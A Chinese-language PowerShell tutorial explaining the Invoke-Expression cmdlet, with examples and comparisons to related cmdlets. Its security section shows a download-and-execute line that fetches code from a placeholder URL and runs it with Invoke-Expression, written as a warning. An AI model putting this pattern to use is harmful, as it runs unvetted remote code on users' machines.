当前位置:网站首页 > 更多 > 玩电脑 > 正文

[玩转系统] Invoke-Expression:通用 PowerShell 执行器 Cmdlet

作者:精品下载站 日期:2024-12-14 20:50:26 浏览:14 分类:玩电脑

Invoke-Expression:通用 PowerShell 执行器 Cmdlet


Invoke-Expression PowerShell cmdlet 很容易让人误解何时使用以及何时不使用它。在本文中,我整理了一些常见问题解答。我将对其进行分解,并提供大量有用的示例,供您在需要时参考。这意味着您应该立即为此页面添加书签!

想要更多这样的提示吗?查看我的个人 PowerShell 博客:https://www.nkasco.com/

什么是调用表达式

Microsoft 的官方描述是:“Invoke-Expression cmdlet 将指定的字符串作为命令求值或运行,并返回表达式或命令的结果。如果没有 Invoke-Expression,在命令行提交的字符串将原样返回(回显)。”

换句话说,它对于调用脚本中的代码或构建稍后执行的命令非常有用。它还可以与用户提供的输入结合谨慎使用。

使用 Invoke-Expression 的最基本示例是定义脚本并将该字符串传递给 Command 参数。然后,Invoke-Expression 执行该字符串。

#Run a PowerShell command via Invoke-Expression
$Command = 'Get-Process'
Invoke-Expression -Command $Command

#Execute a script via Invoke-Expression
$MyScript = '.\MyScript.ps1'
Invoke-Expression -Command $MyScript

如果我的脚本路径中有空格怎么办?

确保用单引号或双引号将字符串引起来。

例如,如果您想执行路径中带有空格的字符串,则这些选项将不起作用:

# These don't work
$MyScript = "C:\Folder Path\MyScript.ps1"
#or
$MyScript = "'C:\Folder Path\MyScript.ps1'"
Invoke-Expression $MyScript

为什么?因为这与直接在 PowerShell 控制台中键入完全相同:

PS51> C:\Folder Path\MyScript.ps1

但是,如果将路径项括在单引号或双引号中,并将整个字符串括在引号中,则 Invoke-Expression 将按预期执行脚本。

$MyScript = "C:\'Folder Path'\MyScript.ps1"
Invoke-Expression $MyScript

如何将参数传递给使用Invoke-Expression调用的脚本?

Invoke-Expression 唯一的参数是 Command。没有使用 Invoke-Expression 传递参数的本机方法。但是,您可以将它们包含在传递给 Command 参数的字符串中。

也许我有一个带有两个参数的脚本,名为 PathForce。您可以像通常通过控制台那样传递参数,从而将参数传递给该脚本,而不是通过 Invoke-Expression 使用特定参数。

如果您通常通过控制台这样调用此脚本:

PS51> & 'C:\Scripts\MyScript.ps1' -Path 'C:\file.txt' -Force

您必须将整行包含在字符串中,然后将该字符串传递给 Command 参数。

$scriptPath = 'C:\Scripts\MyScript.ps1'
$params = '-Path "C:\file.txt" -Force'
Invoke-Expression "$scriptPath $params"
# or
$string = 'C:\Scripts\MyScript.ps1 -Path "C:\file.txt" -Force'
Invoke-Expression $string

try/catch 对 Invoke-Expression 有意义吗?

并不真地。这意味着您需要在 Command 参数中使用错误处理。

示例:

# Doesn't work - Invoke-Expression doesn't act as a global error handler!
try{
    $Command = 'Get-Process powerhell'
    Invoke-Expression $Command -ErrorAction Stop
} catch {
    Write-Host "Oops, something went wrong!"
}

Invoke-Expression 和调用运算符 (&) 之间有什么区别?

调用运算符 (&) 非常适合快速运行命令、脚本或脚本块。但是,调用操作员不会解析该命令。它无法像 Invoke-Expression 那样解释命令参数。

例如,也许我想使用代码 Get-Process -ProcessName pwsh 中的 Get-Process cmdlet 获取 PowerShell Core 进程。使用调用运算符连接 Get-Process 和参数将无法按预期工作。

$a = "Get-Process"

## Doesn't work
& "$a pwsh"

但如果您使用 Invoke-Expression 执行此字符串,它将按预期工作。

Invoke-Expression "$a pwsh"

Invoke-ExpressionStart-Process 有什么区别?

Start-Process cmdlet 在返回的对象中提供返回或退出代码。它允许您等待被调用的进程完成,并允许您在不同的 Windows 凭据下启动进程。 Invoke-Expression 快速且肮脏,而 Start-Process 对于解释执行过程的结果更有用。

Invoke-ExpressionInvoke-Command 之间有什么区别?

Invoke-Expression 仅将字符串“转换”为可执行代码。另一方面,Invoke-Command 利用 PowerShell Remoting,使您能够在计算机上本地或远程调用代码。

如果您现在正在编写执行的命令,则 Invoke-Command 是更好的选择,因为您在 IDE 中保留了智能感知,而如果您想从以下位置调用另一个脚本,则 Invoke-Expression 会更好在你当前的范围内。

示例:

#These both work the same way, but we lost our intellisense with the Invoke-Expression example.
Invoke-Command -ScriptBlock {
    Get-Process Chrome
    Get-Process Powershell
}

Invoke-Expression -Command "
Get-Process Chrome
Get-Process Powershell
"

Invoke-ExpressionInvoke-Item 之间有什么区别?

Invoke-Item cmdlet 为您提供对使用默认操作打开文档的多个路径的内联支持,以及用于包含、排除、添加凭据甚至确认以提高安全性的参数。

调用表达式安全吗?

A. 如果有人有恶意,他们可能会通过掩盖运行时自行构建的恶意代码来欺骗某些病毒程序。 Invoke-Expression 将愉快地执行传递给它的 Command 参数的任何文本。

示例:

$Command = "(Invoke-Webrequest -Uri `"http://website.com/CompletelySafeCode`").Content"
Invoke-Expression $Command

执行多个命令/表达式的最佳实践有哪些?

如果您要执行多个命令,即使 Invoke-Expression 只接受字符串而不是数组,我们也可以使用 PowerShell 管道一次向管道发送一个对象。

示例:

# Doesn't work
$MyCollection = @(
    'Get-Process Chrome',
    'Get-Service bits'
)
Invoke-Expression $MyCollection

# Works
'Get-Process Chrome', 'Get-Service bits' | Invoke-Expression

如何将 Invoke-Expression 与用户输入结合使用?

在将 Invoke-Expression 与用户输入一起使用时,您应该非常谨慎。如果您允许向用户发出提示,让他们能够访问您打算执行的命令之外的内容,则可能会产生不需要的漏洞。这是使用 Invoke-Expression 安全地实现用户输入的一种方法。

do{
    $Response = Read-Host "Please enter a process name"
    $RunningProcesses = Get-Process

    #Validate the user input here before proceeding
    if($Response -notin $RunningProcesses.Name){
        Write-Host "That process wasn't found, please try again.`n" #Avoid using $Response here
    }
} until ($Response -in $RunningProcesses.Name)

$Command = "Get-Process $Response"
Invoke-Expression $Command

结论

每个 cmdlet 都有自己的位置,而 Invoke-Expression 几乎每个人都会在某个时刻遇到。了解常用 cmdlet 的优缺点非常重要,这样您才能以成功的方式实施它们。我很想知道您如何使用 Invoke-Expression 来解决您自己的一些挑战,请在下面发表评论并分享您的故事!

想要更多这样的提示吗?查看我的个人 PowerShell 博客:https://www.nkasco.com/

进一步阅读

  • 更好的 PowerShell 启动流程
  • Invoke-Command:运行远程代码的最佳方式
  • 字符串中的 PowerShell 变量
  • 使用 PowerShell 转义双引号和所有字符串

您需要 登录账户 后才能发表评论

取消回复欢迎 发表评论:

关灯